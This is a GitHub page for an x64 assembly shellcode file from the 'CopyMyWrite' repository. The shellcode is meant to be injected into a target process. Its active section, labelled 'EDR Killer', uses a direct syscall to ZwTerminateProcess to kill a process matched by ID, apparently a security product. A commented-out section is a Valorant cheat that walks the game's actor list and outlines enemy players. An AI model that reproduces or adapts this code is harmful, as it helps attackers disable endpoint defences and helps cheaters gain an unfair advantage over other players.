CopyMyWrite/asm.asm at master · LabGuy94/CopyMyWrite · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
.code
Shellcode PROC
	push rbx
	push rax
	push rcx
	push r8
	push r10
	push r11
	push r12
	push r13
	push r14
	push r15
	mov rbx, gs:[30h] ; TEB
	mov eax, [rbx+40h] ; pid
	cmp eax, 0DEADBEEFh
	jne exit


	;; Valorant
 	; mov rbx, [rbx+60h] ; PEB
 	; mov rbx, [rbx+18h] ; PEB->Ldr
 	; add rbx, 20h ; InMemoryOrderModuleList
 	; mov rbx, [rbx] ; first entry is main module
 	; mov r12, [rbx+20h]   ; Get the base address
    ;
 	; mov r13, r12
 	; add r13, 0B700530h ; uworld_state
 	; mov r13, [r13]
 	; mov r13, [r13] ;uworld
 	; ;mov r13, [r13 + 01D8h] ; gameinstance
 	; mov r13, [r13 + 38h] ; persistent level
 	; test r13, r13
 	; jz exit
 	; mov r15, r13
 	; add r15, 0A0h ; actors array
 	; mov r15, [r15]
 	; test r15, r15
 	; jz exit
 	; mov r8, r13
 	; add r13, 0A8h ; actor count
 	; mov r13d, [r13]
    ; actor_loop:
    ; test r13d, r13d
    ; jz exit
    ;
 	; test r15, r15
 	; jz exit
    ; mov r14, [r15]
    ; add r15, 8h
    ; dec r13d
 	;
 	; test r14, r14
 	; jz actor_loop
 	;
    ;
 	; mov ebx, [r14 + 38h] ; unique id int 32
 	; cmp ebx, 18743553d  ; actor id player
 	; jne actor_loop ; skip non players
 	;
 	; mov al, [r14 + 0F31h] ; was ally
 	; cmp al, 1 ; is ally
 	; je actor_loop ; skip allies
 	;
 	; mov rcx, [r14 + 0F18h] ;MeshCosmetic3P
 	; test rcx, rcx
 	; jz actor_loop
    ;
 	; sub rsp, 20h
 	; mov rdx, 4d
 	; mov r8, 1d ; true
 	; mov r9, r12
 	; add r9, 3E25F10h ; set outline
 	; call r9
 	; add rsp, 20h
    ;
 	; jmp actor_loop

	;; Alloc Console
	; sub rsp, 20h
	; db 0E8h
	; dd 0BEEFDEADh
	; add rsp, 20h

	; EDR Killer
	 mov rcx, -1 ; Current process
	 mov r10, rcx
	 mov eax, 2Ch ; ZwTerminateProcess
	 syscall

exit:
	pop r15
	pop r14
	pop r13
	pop r12
	pop r11
	pop r10
	pop r8
	pop rcx
	pop rax
	pop rbx
Shellcode ENDP
EndOfShellcode PROC
EndOfShellcode ENDP
END